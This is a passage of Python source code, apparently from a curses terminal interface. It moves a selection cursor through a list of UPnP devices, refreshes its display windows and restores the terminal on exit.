if self.cursorPos == 1 or self.selectedIP <= 0:
return self.cursorPos
else:
self.cursorPos = self.cursorPos - 1
self.selectedIP = self.selectedIP - 1
return self.cursorPos
def cursorDown(self):
self.selectedIPXML = {}
if len(self.upnpList) == self.cursorPos or self.selectedIP == len(self.upnpList)-1:
return self.cursorPos
else:
self.cursorPos = self.cursorPos + 1
self.selectedIP = self.selectedIP + 1
return self.cursorPos
def allRefresh(self):
self.mainScreen.refresh()
self.positiveWindow.refresh()
self.detailWindow.refresh()
self.messagesWindow.refresh()
def exitCurse(self):
curses.nocbreak()
curses.echo()
curses.endwin()